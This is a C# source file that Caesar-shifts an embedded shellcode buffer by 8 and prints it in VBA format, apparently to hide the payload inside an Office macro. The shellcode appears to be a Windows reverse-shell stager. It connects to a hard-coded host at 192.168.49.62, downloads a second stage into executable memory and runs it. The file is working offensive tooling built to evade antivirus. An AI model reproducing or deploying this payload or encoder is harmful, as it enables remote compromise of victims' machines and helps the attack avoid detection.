shellcode-caesar-cipher.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ShellcodeCCipher
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[296] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x57,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0x50,
0x85,0xc9,0x74,0x3c,0x49,0x8b,0x34,0x8b,0x31,0xff,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x31,0x3e,0x68,0x02,
0x00,0x00,0x50,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,
0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,
0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,
0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3 };
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                // If you want to adjust how many bytes it's moved, change '8' to any other number
                encoded[i] = (byte)(((uint)buf[i] + 8) & 0xFF);
            }
            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            uint counter = 0; 
            foreach(byte b in encoded)
            {
                hex.AppendFormat("{0:D}, ", b);
                counter++;
                if(counter % 50 == 0)
                {
                    // Outputs in VBA format
                    hex.AppendFormat("_{0}", Environment.NewLine);
                }
            }
            Console.WriteLine(hex.ToString());
            Console.Read();
        }
    }
}